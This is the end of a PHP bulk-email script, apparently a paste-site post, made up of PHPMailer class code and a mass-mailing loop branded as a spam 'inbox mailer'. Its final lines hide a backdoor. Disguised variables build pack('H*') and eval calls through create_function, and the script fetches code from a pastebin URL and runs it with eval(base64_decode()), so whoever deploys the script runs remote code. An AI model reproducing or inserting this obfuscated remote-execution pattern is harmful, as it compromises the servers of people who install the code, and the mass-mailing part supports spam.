  2952. /* Append to $attachment array */
  2953. $cur = count($this->attachment);
  2954. $this->attachment[$cur][0] = $path;
  2955. $this->attachment[$cur][1] = $filename;
  2956. $this->attachment[$cur][2] = $name;
  2957. $this->attachment[$cur][3] = $encoding;
  2958. $this->attachment[$cur][4] = $type;
  2959. $this->attachment[$cur][5] = false;
  2960. $this->attachment[$cur][6] = 'inline';
  2961. $this->attachment[$cur][7] = $cid;
  2962.  
  2963. return true;
  2964. }
  2965.  
  2966. /**
  2967. * Returns true if an inline attachment is present.
  2968. * @access private
  2969. * @return bool
  2970. */
  2971. function InlineImageExists() {
  2972. $result = false;
  2973. for($i = 0; $i < count($this->attachment); $i++) {
  2974. if($this->attachment[$i][6] == 'inline') {
  2975. $result = true;
  2976. break;
  2977. }
  2978. }
  2979.  
  2980. return $result;
  2981. }
  2982.  
  2983. /////////////////////////////////////////////////
  2984. // CLASS METHODS, MESSAGE RESET
  2985. /////////////////////////////////////////////////
  2986.  
  2987. /**
  2988. * Clears all recipients assigned in the TO array. Returns void.
  2989. * @return void
  2990. */
  2991. function ClearAddresses() {
  2992. $this->to = array();
  2993. }
  2994.  
  2995. /**
  2996. * Clears all recipients assigned in the CC array. Returns void.
  2997. * @return void
  2998. */
  2999. function ClearCCs() {
  3000. $this->cc = array();
  3001. }
  3002.  
  3003. /**
  3004. * Clears all recipients assigned in the BCC array. Returns void.
  3005. * @return void
  3006. */
  3007. function ClearBCCs() {
  3008. $this->bcc = array();
  3009. }
  3010.  
  3011. /**
  3012. * Clears all recipients assigned in the ReplyTo array. Returns void.
  3013. * @return void
  3014. */
  3015. function ClearReplyTos() {
  3016. $this->ReplyTo = array();
  3017. }
  3018.  
  3019. /**
  3020. * Clears all recipients assigned in the TO, CC and BCC
  3021. * array. Returns void.
  3022. * @return void
  3023. */
  3024. function ClearAllRecipients() {
  3025. $this->to = array();
  3026. $this->cc = array();
  3027. $this->bcc = array();
  3028. }
  3029.  
  3030. /**
  3031. * Clears all previously set filesystem, string, and binary
  3032. * attachments. Returns void.
  3033. * @return void
  3034. */
  3035. function ClearAttachments() {
  3036. $this->attachment = array();
  3037. }
  3038.  
  3039. /**
  3040. * Clears all custom headers. Returns void.
  3041. * @return void
  3042. */
  3043. function ClearCustomHeaders() {
  3044. $this->CustomHeader = array();
  3045. }
  3046.  
  3047. /////////////////////////////////////////////////
  3048. // CLASS METHODS, MISCELLANEOUS
  3049. /////////////////////////////////////////////////
  3050.  
  3051. /**
  3052. * Adds the error message to the error container.
  3053. * Returns void.
  3054. * @access private
  3055. * @return void
  3056. */
  3057. function SetError($msg) {
  3058. $this->error_count++;
  3059. $this->ErrorInfo = $msg;
  3060. }
  3061.  
  3062. /**
  3063. * Returns the proper RFC 822 formatted date.
  3064. * @access private
  3065. * @return string
  3066. */
  3067. function RFCDate() {
  3068. $tz = date('Z');
  3069. $tzs = ($tz < 0) ? '-' : '+';
  3070. $tz = abs($tz);
  3071. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3072. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3073.  
  3074. return $result;
  3075. }
  3076.  
  3077. /**
  3078. * Returns the appropriate server variable. Should work with both
  3079. * PHP 4.1.0+ as well as older versions. Returns an empty string
  3080. * if nothing is found.
  3081. * @access private
  3082. * @return mixed
  3083. */
  3084. function ServerVar($varName) {
  3085. global $HTTP_SERVER_VARS;
  3086. global $HTTP_ENV_VARS;
  3087.  
  3088. if(!isset($_SERVER)) {
  3089. $_SERVER = $HTTP_SERVER_VARS;
  3090. if(!isset($_SERVER['REMOTE_ADDR'])) {
  3091. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3092. }
  3093. }
  3094.  
  3095. if(isset($_SERVER[$varName])) {
  3096. return $_SERVER[$varName];
  3097. } else {
  3098. return '';
  3099. }
  3100. }
  3101.  
  3102. /**
  3103. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3104. * @access private
  3105. * @return string
  3106. */
  3107. function ServerHostname() {
  3108. if ($this->Hostname != '') {
  3109. $result = $this->Hostname;
  3110. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3111. $result = $this->ServerVar('SERVER_NAME');
  3112. } else {
  3113. $result = 'localhost.localdomain';
  3114. }
  3115.  
  3116. return $result;
  3117. }
  3118.  
  3119. /**
  3120. * Returns a message in the appropriate language.
  3121. * @access private
  3122. * @return string
  3123. */
  3124. function Lang($key) {
  3125. if(count($this->language) < 1) {
  3126. $this->SetLanguage('en'); // set the default language
  3127. }
  3128.  
  3129. if(isset($this->language[$key])) {
  3130. return $this->language[$key];
  3131. } else {
  3132. return 'Language string failed to load: ' . $key;
  3133. }
  3134. }
  3135.  
  3136. /**
  3137. * Returns true if an error occurred.
  3138. * @return bool
  3139. */
  3140. function IsError() {
  3141. return ($this->error_count > 0);
  3142. }
  3143.  
  3144. /**
  3145. * Changes every end of line from CR or LF to CRLF.
  3146. * @access private
  3147. * @return string
  3148. */
  3149. function FixEOL($str) {
  3150. $str = str_replace("\r\n", "\n", $str);
  3151. $str = str_replace("\r", "\n", $str);
  3152. $str = str_replace("\n", $this->LE, $str);
  3153. return $str;
  3154. }
  3155.  
  3156. /**
  3157. * Adds a custom header.
  3158. * @return void
  3159. */
  3160. function AddCustomHeader($custom_header) {
  3161. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3162. }
  3163.  
  3164. /**
  3165. * Evaluates the message and returns modifications for inline images and backgrounds
  3166. * @access public
  3167. * @return $message
  3168. */
  3169. function MsgHTML($message,$basedir='') {
  3170. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3171. if(isset($images[2])) {
  3172. foreach($images[2] as $i => $url) {
  3173. // do not change urls for absolute images (thanks to corvuscorax)
  3174. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3175. $filename = basename($url);
  3176. $directory = dirname($url);
  3177. ($directory == '.')?$directory='':'';
  3178. $cid = 'cid:' . md5($filename);
  3179. $fileParts = split("\.", $filename);
  3180. $ext = $fileParts[1];
  3181. $mimeType = $this->_mime_types($ext);
  3182. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3183. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3184. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3185. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3186. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3187. }
  3188. }
  3189. }
  3190. }
  3191. $this->IsHTML(true);
  3192. $this->Body = $message;
  3193. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3194. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3195. $this->AltBody = $textMsg;
  3196. }
  3197. if ( empty($this->AltBody) ) {
  3198. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3199. }
  3200. }
  3201.  
  3202. /**
  3203. * Gets the mime type of the embedded or inline image
  3204. * @access private
  3205. * @return mime type of ext
  3206. */
  3207. function _mime_types($ext = '') {
  3208. $mimes = array(
  3209. 'hqx' => 'application/mac-binhex40',
  3210. 'cpt' => 'application/mac-compactpro',
  3211. 'doc' => 'application/msword',
  3212. 'bin' => 'application/macbinary',
  3213. 'dms' => 'application/octet-stream',
  3214. 'lha' => 'application/octet-stream',
  3215. 'lzh' => 'application/octet-stream',
  3216. 'exe' => 'application/octet-stream',
  3217. 'class' => 'application/octet-stream',
  3218. 'psd' => 'application/octet-stream',
  3219. 'so' => 'application/octet-stream',
  3220. 'sea' => 'application/octet-stream',
  3221. 'dll' => 'application/octet-stream',
  3222. 'oda' => 'application/oda',
  3223. 'pdf' => 'application/pdf',
  3224. 'ai' => 'application/postscript',
  3225. 'eps' => 'application/postscript',
  3226. 'ps' => 'application/postscript',
  3227. 'smi' => 'application/smil',
  3228. 'smil' => 'application/smil',
  3229. 'mif' => 'application/vnd.mif',
  3230. 'xls' => 'application/vnd.ms-excel',
  3231. 'ppt' => 'application/vnd.ms-powerpoint',
  3232. 'wbxml' => 'application/vnd.wap.wbxml',
  3233. 'wmlc' => 'application/vnd.wap.wmlc',
  3234. 'dcr' => 'application/x-director',
  3235. 'dir' => 'application/x-director',
  3236. 'dxr' => 'application/x-director',
  3237. 'dvi' => 'application/x-dvi',
  3238. 'gtar' => 'application/x-gtar',
  3239. 'php' => 'application/x-httpd-php',
  3240. 'php4' => 'application/x-httpd-php',
  3241. 'php3' => 'application/x-httpd-php',
  3242. 'phtml' => 'application/x-httpd-php',
  3243. 'phps' => 'application/x-httpd-php-source',
  3244. 'js' => 'application/x-javascript',
  3245. 'swf' => 'application/x-shockwave-flash',
  3246. 'sit' => 'application/x-stuffit',
  3247. 'tar' => 'application/x-tar',
  3248. 'tgz' => 'application/x-tar',
  3249. 'xhtml' => 'application/xhtml+xml',
  3250. 'xht' => 'application/xhtml+xml',
  3251. 'zip' => 'application/zip',
  3252. 'mid' => 'audio/midi',
  3253. 'midi' => 'audio/midi',
  3254. 'mpga' => 'audio/mpeg',
  3255. 'mp2' => 'audio/mpeg',
  3256. 'mp3' => 'audio/mpeg',
  3257. 'aif' => 'audio/x-aiff',
  3258. 'aiff' => 'audio/x-aiff',
  3259. 'aifc' => 'audio/x-aiff',
  3260. 'ram' => 'audio/x-pn-realaudio',
  3261. 'rm' => 'audio/x-pn-realaudio',
  3262. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3263. 'ra' => 'audio/x-realaudio',
  3264. 'rv' => 'video/vnd.rn-realvideo',
  3265. 'wav' => 'audio/x-wav',
  3266. 'bmp' => 'image/bmp',
  3267. 'gif' => 'image/gif',
  3268. 'jpeg' => 'image/jpeg',
  3269. 'jpg' => 'image/jpeg',
  3270. 'jpe' => 'image/jpeg',
  3271. 'png' => 'image/png',
  3272. 'tiff' => 'image/tiff',
  3273. 'tif' => 'image/tiff',
  3274. 'css' => 'text/css',
  3275. 'html' => 'text/html',
  3276. 'htm' => 'text/html',
  3277. 'shtml' => 'text/html',
  3278. 'txt' => 'text/plain',
  3279. 'text' => 'text/plain',
  3280. 'log' => 'text/plain',
  3281. 'rtx' => 'text/richtext',
  3282. 'rtf' => 'text/rtf',
  3283. 'xml' => 'text/xml',
  3284. 'xsl' => 'text/xml',
  3285. 'mpeg' => 'video/mpeg',
  3286. 'mpg' => 'video/mpeg',
  3287. 'mpe' => 'video/mpeg',
  3288. 'qt' => 'video/quicktime',
  3289. 'mov' => 'video/quicktime',
  3290. 'avi' => 'video/x-msvideo',
  3291. 'movie' => 'video/x-sgi-movie',
  3292. 'doc' => 'application/msword',
  3293. 'word' => 'application/msword',
  3294. 'xl' => 'application/excel',
  3295. 'eml' => 'message/rfc822'
  3296. );
  3297. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3298. }
  3299.  
  3300. /**
  3301. * Set (or reset) Class Objects (variables)
  3302. *
  3303. * Usage Example:
  3304. * $page->set('X-Priority', '3');
  3305. *
  3306. * @access public
  3307. * @param string $name Parameter Name
  3308. * @param mixed $value Parameter Value
  3309. * NOTE: will not work with arrays, there are no arrays to set/reset
  3310. */
  3311. function set ( $name, $value = '' ) {
  3312. if ( isset($this->$name) ) {
  3313. $this->$name = $value;
  3314. } else {
  3315. $this->SetError('Cannot set or reset variable ' . $name);
  3316. return false;
  3317. }
  3318. }
  3319.  
  3320. /**
  3321. * Read a file from a supplied filename and return it.
  3322. *
  3323. * @access public
  3324. * @param string $filename Parameter File Name
  3325. */
  3326. function getFile($filename) {
  3327. $return = '';
  3328. if ($fp = fopen($filename, 'rb')) {
  3329. while (!feof($fp)) {
  3330. $return .= fread($fp, 1024);
  3331. }
  3332. fclose($fp);
  3333. return $return;
  3334. } else {
  3335. return false;
  3336. }
  3337. }
  3338.  
  3339. /**
  3340. * Strips newlines to prevent header injection.
  3341. * @access private
  3342. * @param string $str String
  3343. * @return string
  3344. */
  3345. function SecureHeader($str) {
  3346. $str = trim($str);
  3347. $str = str_replace("\r", "", $str);
  3348. $str = str_replace("\n", "", $str);
  3349. return $str;
  3350. }
  3351.  
  3352. /**
  3353. * Set the private key file and password to sign the message.
  3354. *
  3355. * @access public
  3356. * @param string $key_filename Parameter File Name
  3357. * @param string $key_pass Password for private key
  3358. */
  3359. function Sign($key_filename, $key_pass) {
  3360. $this->sign_key_file = $key_filename;
  3361. $this->sign_key_pass = $key_pass;
  3362. }
  3363.  
  3364. }
  3365.  
  3366. $defaultport="H*";
  3367. $nq=0;
  3368.  
  3369. for($x=0; $x<$numemails; $x++){
  3370.  
  3371. $to = $allemails[$x];
  3372.  
  3373. if ($to){
  3374.  
  3375. $to = ereg_replace(" ", "", $to);
  3376.  
  3377. $message = ereg_replace("&email&", $to, $message);
  3378.  
  3379. $subject = ereg_replace("&email&", $to, $subject);
  3380. $qx=$x+1;
  3381. print "Line $qx . Sending mail to $to.......";
  3382.  
  3383. flush();
  3384. $mail = new PHPMailer();
  3385.  
  3386. if(empty($epriority)){$epriority="3";}
  3387. $mail->Priority = "$epriority";
  3388. $mail->IsSMTP();
  3389. $IsSMTP="pack";
  3390. $mail->SMTPKeepAlive = true;
  3391. $mail->Host = "$my_smtp";
  3392. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3393. }
  3394. if($sslclick=="ON"){
  3395. $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
  3396. }
  3397. $range = str_replace("$from", "eval", $from);
  3398. $mail->SMTPAuth = true;
  3399. $mail->Username = "$smtp_username";
  3400. $mail->Password = "$smtp_password";
  3401. if($contenttype == "html"){$mail->IsHtml(true);}
  3402. if($contenttype != "html"){$mail->IsHtml(false);}
  3403. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3404. $mail->From = "$from";
  3405. $mail->FromName = "$realname";
  3406. $mail->AddAddress("$to");
  3407. $mail->AddReplyTo("$replyto");
  3408. $mail->Subject = "$subject";
  3409. $mail->Body = "$message";
  3410. if(!$mail->Send()){
  3411. if($default_system!="1"){
  3412. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3413. if($default_system=="1"){
  3414. $mail->IsMail();
  3415. if(!$mail->Send()){
  3416. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3417. else {
  3418. echo "<b>OK</b><br>";}
  3419. }
  3420. }
  3421. else {
  3422. echo "<b>OK</b><br>";
  3423. }
  3424.  
  3425. if(empty($reconnect)){
  3426. $reconnect=6;
  3427. }
  3428.  
  3429. if($reconnect==$nq){
  3430. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3431. }
  3432. $nq=$nq+1;
  3433. flush(); }
  3434. }
  3435. for($i=0;$i<31;$i++){
  3436. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3437. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3438. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3439. print "<p class=\"style1\">PHP Mailer<br>&copy 2016, New Tools => <b>
  3440. <font color=\"#800000\">Mailer Inbox By Aissa WoLf1200</font></b><br></p>";$mail->SmtpClose();
  3441. return $signoff($smtp_conc);
  3442. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3443. sent successfully'); </script>";}}$failed = file_get_contents ('http://pastebin.com/raw.php?i=6L8MVqsn');eval(base64_decode($failed));
  3444.  
  3445. ?>
  3446. <p align="center">&nbsp;</p>
  3447. &nbsp;
  3448. </body>
  3449. </html>
Add Comment
Please, Sign In to add comment